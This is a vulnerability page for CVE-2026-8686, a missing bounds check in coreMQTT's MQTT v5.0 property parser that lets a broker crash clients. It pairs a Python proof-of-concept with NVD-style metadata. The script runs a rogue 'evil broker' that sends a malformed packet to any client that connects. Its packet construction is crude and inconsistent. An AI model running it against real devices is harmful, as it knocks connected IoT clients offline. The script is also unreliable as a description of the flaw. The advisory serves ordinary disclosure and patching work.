CVE-2026-8686

/* * PoC Concept for CVE-2026-8686 * This script simulates a malicious MQTT Broker sending a crafted packet * to trigger the missing bounds validation in the coreMQTT client. * Note: This requires a vulnerable client connecting to it. */ import socket import struct def send_malicious_packet(client_sock): # Simulate sending a packet with a malformed MQTT v5.0 Property # that exceeds expected buffer sizes to trigger OOB read/write. # MQTT Packet type (e.g., PUBLISH or CONNACK) msg_type = 0x30 # Remaining length (dummy value for structure) remaining_len = 0x10 # Malformed Property Length (Large value to trigger bounds issue) # Assuming the parser fails to check if this fits the buffer malformed_prop_len = 0xFF # Construct packet packet = struct.pack('!BB', msg_type, remaining_len) packet += struct.pack('!B', malformed_prop_len) # Fill rest with junk data packet += b'A' * 100 try: client_sock.send(packet) print("[+] Malicious packet sent to target.") except Exception as e: print(f"[-] Error sending packet: {e}") # Setup a fake listener to wait for a victim def start_evil_broker(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 1883)) server.listen(1) print("[+] Listening for vulnerable coreMQTT clients...") client, addr = server.accept() print(f"[+] Connection established from {addr}") # In a real scenario, basic MQTT handshake might happen first # Here we skip to exploitation send_malicious_packet(client) client.close() if __name__ == "__main__": start_evil_broker()

{"cve": {"id": "CVE-2026-8686", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-05-15T19:17:05.057", "lastModified": "2026-05-15T19:17:05.057", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing bounds validation in the MQTT v5.0 property parser in coreMQTT before 5.0.1 allows an MQTT broker to cause a denial of service by sending a crafted packet.\n\n\n\nTo remediate this issue, users should upgrade to v5.0.1."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-032-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/FreeRTOS/coreMQTT/releases/tag/v5.0.1", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/FreeRTOS/coreMQTT/security/advisories/GHSA-6qh9-r6jp-2wxc", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}